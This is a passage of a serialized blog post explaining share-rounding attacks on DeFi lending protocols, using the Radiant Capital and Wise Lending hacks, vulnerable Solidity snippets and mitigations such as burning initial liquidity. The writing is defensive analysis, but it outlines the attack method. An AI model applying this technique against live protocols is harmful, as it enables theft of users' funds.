mitigations.",[18851],{"src":58996},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":22,"children":58999,"toc":60132},[59000,59004,59032,59037,59050,59055,59061,59066,59071,59076,59081,59094,59106,59126,59146,59151,59156,59174,59180,59185,59191,59205,59218,59223,59229,59243,59248,59269,59502,59507,59512,59525,59765,59775,59780,59786,59791,59796,59829,59834,59845,59851,59856,59870,59998,60012,60088,60093,60104,60109,60114,60118,60123,60128],{"type":25,"tag":96,"props":59001,"children":59002},{"id":42127},[59003],{"type":30,"value":42130},{"type":25,"tag":26,"props":59005,"children":59006},{},[59007,59009,59016,59017,59024,59026,59031],{"type":30,"value":59008},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":25,"tag":83,"props":59010,"children":59013},{"href":59011,"rel":59012},"https://neodyme.io/de/blog/lending_disclosure",[9066],[59014],{"type":30,"value":59015},"fast",{"type":30,"value":44},{"type":25,"tag":83,"props":59018,"children":59021},{"href":59019,"rel":59020},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[9066],[59022],{"type":30,"value":59023},"cheap",{"type":30,"value":59025}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":25,"tag":10281,"props":59027,"children":59028},{},[59029],{"type":30,"value":59030},"Most people haven't considered what happens when shares are worth a lot",{"type":30,"value":1860},{"type":25,"tag":26,"props":59033,"children":59034},{},[59035],{"type":30,"value":59036},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":25,"tag":661,"props":59038,"children":59039},{},[59040,59045],{"type":25,"tag":112,"props":59041,"children":59042},{},[59043],{"type":30,"value":59044},"Inflate share value (token to share conversion rate)",{"type":25,"tag":112,"props":59046,"children":59047},{},[59048],{"type":30,"value":59049},"Exploit rounding bug",{"type":25,"tag":26,"props":59051,"children":59052},{},[59053],{"type":30,"value":59054},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":25,"tag":96,"props":59056,"children":59058},{"id":59057},"model",[59059],{"type":30,"value":59060},"Model",{"type":25,"tag":26,"props":59062,"children":59063},{},[59064],{"type":30,"value":59065},"Before we dive in, there's some helpful background information we'll share first.",{"type":25,"tag":26,"props":59067,"children":59068},{},[59069],{"type":30,"value":59070},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":25,"tag":26,"props":59072,"children":59073},{},[59074],{"type":30,"value":59075},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":25,"tag":26,"props":59077,"children":59078},{},[59079],{"type":30,"value":59080},"This question is more complex than it may appear. Let's walk through an example.",{"type":25,"tag":26,"props":59082,"children":59083},{},[59084,59086,59092],{"type":30,"value":59085},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":25,"tag":264,"props":59087,"children":59089},{"className":59088},[],[59090],{"type":30,"value":59091},"1000:1000",{"type":30,"value":59093}," (1000 tokens to 1000 shares).",{"type":25,"tag":26,"props":59095,"children":59096},{},[59097,59099,59105],{"type":30,"value":59098},"After accruing fees, the pool gains one token for a new ratio of ",{"type":25,"tag":264,"props":59100,"children":59102},{"className":59101},[],[59103],{"type":30,"value":59104},"1001:1000",{"type":30,"value":1860},{"type":25,"tag":26,"props":59107,"children":59108},{},[59109,59111,59117,59119,59124],{"type":30,"value":59110},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":25,"tag":264,"props":59112,"children":59114},{"className":59113},[],[59115],{"type":30,"value":59116},"1001/1000*999 = 999.999",{"type":30,"value":59118},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":25,"tag":10281,"props":59120,"children":59121},{},[59122],{"type":30,"value":59123},"down",{"type":30,"value":59125}," against the user.",{"type":25,"tag":26,"props":59127,"children":59128},{},[59129,59131,59137,59139,59145],{"type":30,"value":59130},"If we give the user 999 tokens, the new pool state is ",{"type":25,"tag":264,"props":59132,"children":59134},{"className":59133},[],[59135],{"type":30,"value":59136},"2:1",{"type":30,"value":59138},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":25,"tag":264,"props":59140,"children":59142},{"className":59141},[],[59143],{"type":30,"value":59144},"3:1",{"type":30,"value":1860},{"type":25,"tag":26,"props":59147,"children":59148},{},[59149],{"type":30,"value":59150},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":25,"tag":26,"props":59152,"children":59153},{},[59154],{"type":30,"value":59155},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":25,"tag":661,"props":59157,"children":59158},{},[59159,59164,59169],{"type":25,"tag":112,"props":59160,"children":59161},{},[59162],{"type":30,"value":59163},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":25,"tag":112,"props":59165,"children":59166},{},[59167],{"type":30,"value":59168},"When you withdraw, are you withdrawing shares or tokens?",{"type":25,"tag":112,"props":59170,"children":59171},{},[59172],{"type":30,"value":59173},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":25,"tag":96,"props":59175,"children":59177},{"id":59176},"decisions",[59178],{"type":30,"value":59179},"Decisions",{"type":25,"tag":26,"props":59181,"children":59182},{},[59183],{"type":30,"value":59184},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":25,"tag":247,"props":59186,"children":59188},{"id":59187},"radiant-capital",[59189],{"type":30,"value":59190},"Radiant Capital",{"type":25,"tag":26,"props":59192,"children":59193},{},[59194,59196,59203],{"type":30,"value":59195},"Radiant Capital was ",{"type":25,"tag":83,"props":59197,"children":59200},{"href":59198,"rel":59199},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[9066],[59201],{"type":30,"value":59202},"hacked on Jan 2nd",{"type":30,"value":59204}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":25,"tag":26,"props":59206,"children":59207},{},[59208,59210,59217],{"type":30,"value":59209},"The exploit is relatively straightforward and ",{"type":25,"tag":83,"props":59211,"children":59214},{"href":59212,"rel":59213},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[9066],[59215],{"type":30,"value":59216},"has already been covered previously",{"type":30,"value":1860},{"type":25,"tag":26,"props":59219,"children":59220},{},[59221],{"type":30,"value":59222},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":25,"tag":247,"props":59224,"children":59226},{"id":59225},"wise-lending",[59227],{"type":30,"value":59228},"Wise Lending",{"type":25,"tag":26,"props":59230,"children":59231},{},[59232,59234,59241],{"type":30,"value":59233},"Wise Lending was ",{"type":25,"tag":83,"props":59235,"children":59238},{"href":59236,"rel":59237},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[9066],[59239],{"type":30,"value":59240},"hacked on January 13th",{"type":30,"value":59242}," for just under $460,000.",{"type":25,"tag":26,"props":59244,"children":59245},{},[59246],{"type":30,"value":59247},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":25,"tag":26,"props":59249,"children":59250},{},[59251,59252,59259,59261,59268],{"type":30,"value":4190},{"type":25,"tag":83,"props":59253,"children":59256},{"href":59254,"rel":59255},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[9066],[59257],{"type":30,"value":59258},"the code responsible",{"type":30,"value":59260}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":25,"tag":83,"props":59262,"children":59265},{"href":59263,"rel":59264},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[9066],[59266],{"type":30,"value":59267},"no way to atomically self-bankrupt",{"type":30,"value":1860},{"type":25,"tag":7764,"props":59270,"children":59272},{"className":17606,"code":59271,"language":17605,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[59273],{"type":25,"tag":264,"props":59274,"children":59275},{"__ignoreMap":7},[59276,59307,59315,59323,59330,59352,59365,59372,59393,59423,59435,59447,59454,59478,59495],{"type":25,"tag":271,"props":59277,"children":59278},{"class":13593,"line":13594},[59279,59284,59289,59293,59298,59303],{"type":25,"tag":271,"props":59280,"children":59281},{"style":13609},[59282],{"type":30,"value":59283},"uint256",{"type":25,"tag":271,"props":59285,"children":59286},{"style":13625},[59287],{"type":30,"value":59288}," withdrawValue ",{"type":25,"tag":271,"props":59290,"children":59291},{"style":13603},[59292],{"type":30,"value":1065},{"type":25,"tag":271,"props":59294,"children":59295},{"style":13625},[59296],{"type":30,"value":59297}," WISE_ORACLE.",{"type":25,"tag":271,"props":59299,"children":59300},{"style":13620},[59301],{"type":30,"value":59302},"getTokensInETH",{"type":25,"tag":271,"props":59304,"children":59305},{"style":13625},[59306],{"type":30,"value":16609},{"type":25,"tag":271,"props":59308,"children":59309},{"class":13593,"line":11641},[59310],{"type":25,"tag":271,"props":59311,"children":59312},{"style":13625},[59313],{"type":30,"value":59314},"    _poolToken,\n",{"type":25,"tag":271,"props":59316,"children":59317},{"class":13593,"line":14354},[59318],{"type":25,"tag":271,"props":59319,"children":59320},{"style":13625},[59321],{"type":30,"value":59322},"    _amount\n",{"type":25,"tag":271,"props":59324,"children":59325},{"class":13593,"line":14391},[59326],{"type":25,"tag":271,"props":59327,"children":59328},{"style":13625},[59329],{"type":30,"value":16299},{"type":25,"tag":271,"props":59331,"children":59332},{"class":13593,"line":14400},[59333,59337,59342,59347],{"type":25,"tag":271,"props":59334,"children":59335},{"style":13603},[59336],{"type":30,"value":30683},{"type":25,"tag":271,"props":59338,"children":59339},{"style":13625},[59340],{"type":30,"value":59341}," WISE_LENDING.",{"type":25,"tag":271,"props":59343,"children":59344},{"style":13620},[59345],{"type":30,"value":59346},"lendingPoolData",{"type":25,"tag":271,"props":59348,"children":59349},{"style":13625},[59350],{"type":30,"value":59351},"(_poolToken).collateralFactor\n",{"type":25,"tag":271,"props":59353,"children":59354},{"class":13593,"line":16406},[59355,59360],{"type":25,"tag":271,"props":59356,"children":59357},{"style":13603},[59358],{"type":30,"value":59359},"    /",{"type":25,"tag":271,"props":59361,"children":59362},{"style":13625},[59363],{"type":30,"value":59364}," PRECISION_FACTOR_E18;\n",{"type":25,"tag":271,"props":59366,"children":59367},{"class":13593,"line":16434},[59368],{"type":25,"tag":271,"props":59369,"children":59370},{"emptyLinePlaceholder":18},[59371],{"type":30,"value":16829},{"type":25,"tag":271,"props":59373,"children":59374},{"class":13593,"line":16447},[59375,59379,59384,59388],{"type":25,"tag":271,"props":59376,"children":59377},{"style":13609},[59378],{"type":30,"value":42798},{"type":25,"tag":271,"props":59380,"children":59381},{"style":13625},[59382],{"type":30,"value":59383}," state ",{"type":25,"tag":271,"props":59385,"children":59386},{"style":13603},[59387],{"type":30,"value":1065},{"type":25,"tag":271,"props":59389,"children":59390},{"style":13625},[59391],{"type":30,"value":59392}," borrowPercentageCap\n",{"type":25,"tag":271,"props":59394,"children":59395},{"class":13593,"line":16465},[59396,59400,59404,59409,59414,59418],{"type":25,"tag":271,"props":59397,"children":59398},{"style":13603},[59399],{"type":30,"value":30683},{"type":25,"tag":271,"props":59401,"children":59402},{"style":13625},[59403],{"type":30,"value":16213},{"type":25,"tag":271,"props":59405,"children":59406},{"style":13620},[59407],{"type":30,"value":59408},"overallETHCollateralsWeighted",{"type":25,"tag":271,"props":59410,"children":59411},{"style":13625},[59412],{"type":30,"value":59413},"(_nftId) ",{"type":25,"tag":271,"props":59415,"children":59416},{"style":13603},[59417],{"type":30,"value":17459},{"type":25,"tag":271,"props":59419,"children":59420},{"style":13625},[59421],{"type":30,"value":59422}," withdrawValue)\n",{"type":25,"tag":271,"props":59424,"children":59425},{"class":13593,"line":16486},[59426,59430],{"type":25,"tag":271,"props":59427,"children":59428},{"style":13603},[59429],{"type":30,"value":59359},{"type":25,"tag":271,"props":59431,"children":59432},{"style":13625},[59433],{"type":30,"value":59434}," PRECISION_FACTOR_E18\n",{"type":25,"tag":271,"props":59436,"children":59437},{"class":13593,"line":16495},[59438,59442],{"type":25,"tag":271,"props":59439,"children":59440},{"style":13603},[59441],{"type":30,"value":45558},{"type":25,"tag":271,"props":59443,"children":59444},{"style":13625},[59445],{"type":30,"value":59446}," borrowAmount;\n",{"type":25,"tag":271,"props":59448,"children":59449},{"class":13593,"line":16744},[59450],{"type":25,"tag":271,"props":59451,"children":59452},{"emptyLinePlaceholder":18},[59453],{"type":30,"value":16829},{"type":25,"tag":271,"props":59455,"children":59456},{"class":13593,"line":16761},[59457,59461,59466,59470,59474],{"type":25,"tag":271,"props":59458,"children":59459},{"style":16171},[59460],{"type":30,"value":28701},{"type":25,"tag":271,"props":59462,"children":59463},{"style":13625},[59464],{"type":30,"value":59465}," (state ",{"type":25,"tag":271,"props":59467,"children":59468},{"style":13603},[59469],{"type":30,"value":21696},{"type":25,"tag":271,"props":59471,"children":59472},{"style":14289},[59473],{"type":30,"value":25594},{"type":25,"tag":271,"props":59475,"children":59476},{"style":13625},[59477],{"type":30,"value":27925},{"type":25,"tag":271,"props":59479,"children":59480},{"class":13593,"line":16778},[59481,59486,59491],{"type":25,"tag":271,"props":59482,"children":59483},{"style":16171},[59484],{"type":30,"value":59485},"    revert",{"type":25,"tag":271,"props":59487,"children":59488},{"style":13620},[59489],{"type":30,"value":59490}," ResultsInBadDebt",{"type":25,"tag":271,"props":59492,"children":59493},{"style":13625},[59494],{"type":30,"value":16820},{"type":25,"tag":271,"props":59496,"children":59497},{"class":13593,"line":16791},[59498],{"type":25,"tag":271,"props":59499,"children":59500},{"style":13625},[59501],{"type":30,"value":17058},{"type":25,"tag":26,"props":59503,"children":59504},{},[59505],{"type":30,"value":59506},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":25,"tag":26,"props":59508,"children":59509},{},[59510],{"type":30,"value":59511},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":25,"tag":26,"props":59513,"children":59514},{},[59515,59517,59523],{"type":30,"value":59516},"And indeed, ",{"type":25,"tag":83,"props":59518,"children":59521},{"href":59519,"rel":59520},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[9066],[59522],{"type":30,"value":59228},{"type":30,"value":59524}," rounds up the share value.",{"type":25,"tag":7764,"props":59526,"children":59528},{"className":17606,"code":59527,"language":17605,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[59529],{"type":25,"tag":264,"props":59530,"children":59531},{"__ignoreMap":7},[59532,59548,59565,59581,59594,59601,59609,59617,59637,59644,59665,59686,59708,59737,59758],{"type":25,"tag":271,"props":59533,"children":59534},{"class":13593,"line":13594},[59535,59539,59544],{"type":25,"tag":271,"props":59536,"children":59537},{"style":14289},[59538],{"type":30,"value":44489},{"type":25,"tag":271,"props":59540,"children":59541},{"style":13620},[59542],{"type":30,"value":59543}," _calculateShares",{"type":25,"tag":271,"props":59545,"children":59546},{"style":13625},[59547],{"type":30,"value":16609},{"type":25,"tag":271,"props":59549,"children":59550},{"class":13593,"line":11641},[59551,59556,59561],{"type":25,"tag":271,"props":59552,"children":59553},{"style":13609},[59554],{"type":30,"value":59555},"    uint256",{"type":25,"tag":271,"props":59557,"children":59558},{"style":13598},[59559],{"type":30,"value":59560}," _product",{"type":25,"tag":271,"props":59562,"children":59563},{"style":13625},[59564],{"type":30,"value":14351},{"type":25,"tag":271,"props":59566,"children":59567},{"class":13593,"line":14354},[59568,59572,59577],{"type":25,"tag":271,"props":59569,"children":59570},{"style":13609},[59571],{"type":30,"value":59555},{"type":25,"tag":271,"props":59573,"children":59574},{"style":13598},[59575],{"type":30,"value":59576}," _pseudo",{"type":25,"tag":271,"props":59578,"children":59579},{"style":13625},[59580],{"type":30,"value":14351},{"type":25,"tag":271,"props":59582,"children":59583},{"class":13593,"line":14391},[59584,59589],{"type":25,"tag":271,"props":59585,"children":59586},{"style":13609},[59587],{"type":30,"value":59588},"    bool",{"type":25,"tag":271,"props":59590,"children":59591},{"style":13598},[59592],{"type":30,"value":59593}," _maxSharePrice\n",{"type":25,"tag":271,"props":59595,"children":59596},{"class":13593,"line":14400},[59597],{"type":25,"tag":271,"props":59598,"children":59599},{"style":13625},[59600],{"type":30,"value":16299},{"type":25,"tag":271,"props":59602,"children":59603},{"class":13593,"line":16406},[59604],{"type":25,"tag":271,"props":59605,"children":59606},{"style":14289},[59607],{"type":30,"value":59608},"    private\n",{"type":25,"tag":271,"props":59610,"children":59611},{"class":13593,"line":16434},[59612],{"type":25,"tag":271,"props":59613,"children":59614},{"style":14289},[59615],{"type":30,"value":59616},"    pure\n",{"type":25,"tag":271,"props":59618,"children":59619},{"class":13593,"line":16447},[59620,59625,59629,59633],{"type":25,"tag":271,"props":59621,"children":59622},{"style":16171},[59623],{"type":30,"value":59624},"    returns",{"type":25,"tag":271,"props":59626,"children":59627},{"style":13625},[59628],{"type":30,"value":16213},{"type":25,"tag":271,"props":59630,"children":59631},{"style":13609},[59632],{"type":30,"value":59283},{"type":25,"tag":271,"props":59634,"children":59635},{"style":13625},[59636],{"type":30,"value":16299},{"type":25,"tag":271,"props":59638,"children":59639},{"class":13593,"line":16465},[59640],{"type":25,"tag":271,"props":59641,"children":59642},{"style":13625},[59643],{"type":30,"value":24005},{"type":25,"tag":271,"props":59645,"children":59646},{"class":13593,"line":16486},[59647,59651,59656,59660],{"type":25,"tag":271,"props":59648,"children":59649},{"style":16171},[59650],{"type":30,"value":30111},{"type":25,"tag":271,"props":59652,"children":59653},{"style":13625},[59654],{"type":30,"value":59655}," _maxSharePrice ",{"type":25,"tag":271,"props":59657,"children":59658},{"style":13603},[59659],{"type":30,"value":21696},{"type":25,"tag":271,"props":59661,"children":59662},{"style":14289},[59663],{"type":30,"value":59664}," true\n",{"type":25,"tag":271,"props":59666,"children":59667},{"class":13593,"line":16495},[59668,59673,59678,59682],{"type":25,"tag":271,"props":59669,"children":59670},{"style":13603},[59671],{"type":30,"value":59672},"        ?",{"type":25,"tag":271,"props":59674,"children":59675},{"style":13625},[59676],{"type":30,"value":59677}," _product % _pseudo ",{"type":25,"tag":271,"props":59679,"children":59680},{"style":13603},[59681],{"type":30,"value":21696},{"type":25,"tag":271,"props":59683,"children":59684},{"style":16187},[59685],{"type":30,"value":37388},{"type":25,"tag":271,"props":59687,"children":59688},{"class":13593,"line":16744},[59689,59694,59699,59703],{"type":25,"tag":271,"props":59690,"children":59691},{"style":13603},[59692],{"type":30,"value":59693},"            ?",{"type":25,"tag":271,"props":59695,"children":59696},{"style":13625},[59697],{"type":30,"value":59698}," _product ",{"type":25,"tag":271,"props":59700,"children":59701},{"style":13603},[59702],{"type":30,"value":7621},{"type":25,"tag":271,"props":59704,"children":59705},{"style":13625},[59706],{"type":30,"value":59707}," _pseudo\n",{"type":25,"tag":271,"props":59709,"children":59710},{"class":13593,"line":16761},[59711,59716,59720,59724,59729,59733],{"type":25,"tag":271,"props":59712,"children":59713},{"style":13603},[59714],{"type":30,"value":59715},"            :",{"type":25,"tag":271,"props":59717,"children":59718},{"style":13625},[59719],{"type":30,"value":59698},{"type":25,"tag":271,"props":59721,"children":59722},{"style":13603},[59723],{"type":30,"value":7621},{"type":25,"tag":271,"props":59725,"children":59726},{"style":13625},[59727],{"type":30,"value":59728}," _pseudo ",{"type":25,"tag":271,"props":59730,"children":59731},{"style":13603},[59732],{"type":30,"value":2074},{"type":25,"tag":271,"props":59734,"children":59735},{"style":16187},[59736],{"type":30,"value":32563},{"type":25,"tag":271,"props":59738,"children":59739},{"class":13593,"line":16778},[59740,59745,59749,59753],{"type":25,"tag":271,"props":59741,"children":59742},{"style":13603},[59743],{"type":30,"value":59744},"        :",{"type":25,"tag":271,"props":59746,"children":59747},{"style":13625},[59748],{"type":30,"value":59698},{"type":25,"tag":271,"props":59750,"children":59751},{"style":13603},[59752],{"type":30,"value":7621},{"type":25,"tag":271,"props":59754,"children":59755},{"style":13625},[59756],{"type":30,"value":59757}," _pseudo;\n",{"type":25,"tag":271,"props":59759,"children":59760},{"class":13593,"line":16791},[59761],{"type":25,"tag":271,"props":59762,"children":59763},{"style":13625},[59764],{"type":30,"value":17058},{"type":25,"tag":26,"props":59766,"children":59767},{},[59768,59773],{"type":25,"tag":10281,"props":59769,"children":59770},{},[59771],{"type":30,"value":59772},"Regardless of which way the share rounding occurs, this is a bug",{"type":30,"value":59774},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":25,"tag":26,"props":59776,"children":59777},{},[59778],{"type":30,"value":59779},"This is a really tricky invariant to reason about!",{"type":25,"tag":96,"props":59781,"children":59783},{"id":59782},"root-cause",[59784],{"type":30,"value":59785},"Root Cause",{"type":25,"tag":26,"props":59787,"children":59788},{},[59789],{"type":30,"value":59790},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":25,"tag":26,"props":59792,"children":59793},{},[59794],{"type":30,"value":59795},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":25,"tag":7764,"props":59797,"children":59799},{"className":17606,"code":59798,"language":17605,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[59800],{"type":25,"tag":264,"props":59801,"children":59802},{"__ignoreMap":7},[59803],{"type":25,"tag":271,"props":59804,"children":59805},{"class":13593,"line":13594},[59806,59811,59815,59820,59824],{"type":25,"tag":271,"props":59807,"children":59808},{"style":13625},[59809],{"type":30,"value":59810},"totalDepositShares ",{"type":25,"tag":271,"props":59812,"children":59813},{"style":13603},[59814],{"type":30,"value":17702},{"type":25,"tag":271,"props":59816,"children":59817},{"style":13625},[59818],{"type":30,"value":59819}," _amount ",{"type":25,"tag":271,"props":59821,"children":59822},{"style":13603},[59823],{"type":30,"value":7621},{"type":25,"tag":271,"props":59825,"children":59826},{"style":13625},[59827],{"type":30,"value":59828}," pseudoTotalPool\n",{"type":25,"tag":26,"props":59830,"children":59831},{},[59832],{"type":30,"value":59833},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":25,"tag":26,"props":59835,"children":59836},{},[59837,59839,59843],{"type":30,"value":59838},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":25,"tag":10281,"props":59840,"children":59841},{},[59842],{"type":30,"value":33038},{"type":30,"value":59844}," integer division?",{"type":25,"tag":96,"props":59846,"children":59848},{"id":59847},"mitigations",[59849],{"type":30,"value":59850},"Mitigations",{"type":25,"tag":26,"props":59852,"children":59853},{},[59854],{"type":30,"value":59855},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":25,"tag":26,"props":59857,"children":59858},{},[59859,59861,59868],{"type":30,"value":59860},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":25,"tag":83,"props":59862,"children":59865},{"href":59863,"rel":59864},"https://twitter.com/danielvf/status/1746306320553152615",[9066],[59866],{"type":30,"value":59867},"@danielvf notes",{"type":30,"value":59869},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":25,"tag":7764,"props":59871,"children":59873},{"className":17606,"code":59872,"language":17605,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[59874],{"type":25,"tag":264,"props":59875,"children":59876},{"__ignoreMap":7},[59877,59901,59948,59982],{"type":25,"tag":271,"props":59878,"children":59879},{"class":13593,"line":13594},[59880,59884,59889,59893,59897],{"type":25,"tag":271,"props":59881,"children":59882},{"style":16171},[59883],{"type":30,"value":28701},{"type":25,"tag":271,"props":59885,"children":59886},{"style":13625},[59887],{"type":30,"value":59888}," (_totalSupply ",{"type":25,"tag":271,"props":59890,"children":59891},{"style":13603},[59892],{"type":30,"value":21696},{"type":25,"tag":271,"props":59894,"children":59895},{"style":16187},[59896],{"type":30,"value":16190},{"type":25,"tag":271,"props":59898,"children":59899},{"style":13625},[59900],{"type":30,"value":27925},{"type":25,"tag":271,"props":59902,"children":59903},{"class":13593,"line":11641},[59904,59909,59913,59918,59923,59928,59933,59938,59943],{"type":25,"tag":271,"props":59905,"children":59906},{"style":13625},[59907],{"type":30,"value":59908},"    liquidity ",{"type":25,"tag":271,"props":59910,"children":59911},{"style":13603},[59912],{"type":30,"value":1065},{"type":25,"tag":271,"props":59914,"children":59915},{"style":13625},[59916],{"type":30,"value":59917}," Math.",{"type":25,"tag":271,"props":59919,"children":59920},{"style":13620},[59921],{"type":30,"value":59922},"sqrt",{"type":25,"tag":271,"props":59924,"children":59925},{"style":13625},[59926],{"type":30,"value":59927},"(amount0.",{"type":25,"tag":271,"props":59929,"children":59930},{"style":13620},[59931],{"type":30,"value":59932},"mul",{"type":25,"tag":271,"props":59934,"children":59935},{"style":13625},[59936],{"type":30,"value":59937},"(amount1)).",{"type":25,"tag":271,"props":59939,"children":59940},{"style":13620},[59941],{"type":30,"value":59942},"sub",{"type":25,"tag":271,"props":59944,"children":59945},{"style":13625},[59946],{"type":30,"value":59947},"(MINIMUM_LIQUIDITY);\n",{"type":25,"tag":271,"props":59949,"children":59950},{"class":13593,"line":14354},[59951,59956,59960,59964,59968,59972,59977],{"type":25,"tag":271,"props":59952,"children":59953},{"style":13620},[59954],{"type":30,"value":59955},"   _mint",{"type":25,"tag":271,"props":59957,"children":59958},{"style":13625},[59959],{"type":30,"value":394},{"type":25,"tag":271,"props":59961,"children":59962},{"style":13609},[59963],{"type":30,"value":45753},{"type":25,"tag":271,"props":59965,"children":59966},{"style":13625},[59967],{"type":30,"value":394},{"type":25,"tag":271,"props":59969,"children":59970},{"style":16187},[59971],{"type":30,"value":953},{"type":25,"tag":271,"props":59973,"children":59974},{"style":13625},[59975],{"type":30,"value":59976},"), MINIMUM_LIQUIDITY); ",{"type":25,"tag":271,"props":59978,"children":59979},{"style":14385},[59980],{"type":30,"value":59981},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":25,"tag":271,"props":59983,"children":59984},{"class":13593,"line":14391},[59985,59990,59994],{"type":25,"tag":271,"props":59986,"children":59987},{"style":13625},[59988],{"type":30,"value":59989},"} ",{"type":25,"tag":271,"props":59991,"children":59992},{"style":16171},[59993],{"type":30,"value":16458},{"type":25,"tag":271,"props":59995,"children":59996},{"style":13625},[59997],{"type":30,"value":16431},{"type":25,"tag":26,"props":59999,"children":60000},{},[60001,60003,60010],{"type":30,"value":60002},"Alternatively, ",{"type":25,"tag":83,"props":60004,"children":60007},{"href":60005,"rel":60006},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[9066],[60008],{"type":30,"value":60009},"storing the conversion rate separately",{"type":30,"value":60011}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":25,"tag":7764,"props":60013,"children":60015},{"className":17606,"code":60014,"language":17605,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[60016],{"type":25,"tag":264,"props":60017,"children":60018},{"__ignoreMap":7},[60019,60054],{"type":25,"tag":271,"props":60020,"children":60021},{"class":13593,"line":13594},[60022,60027,60031,60036,60040,60045,60049],{"type":25,"tag":271,"props":60023,"children":60024},{"style":13625},[60025],{"type":30,"value":60026},"accrualIndices.borrowed ",{"type":25,"tag":271,"props":60028,"children":60029},{"style":13603},[60030],{"type":30,"value":1065},{"type":25,"tag":271,"props":60032,"children":60033},{"style":13625},[60034],{"type":30,"value":60035}," accrualIndices.borrowed ",{"type":25,"tag":271,"props":60037,"children":60038},{"style":13603},[60039],{"type":30,"value":17702},{"type":25,"tag":271,"props":60041,"children":60042},{"style":13625},[60043],{"type":30,"value":60044}," borrowInterestFactor ",{"type":25,"tag":271,"props":60046,"children":60047},{"style":13603},[60048],{"type":30,"value":7621},{"type":25,"tag":271,"props":60050,"children":60051},{"style":13625},[60052],{"type":30,"value":60053}," 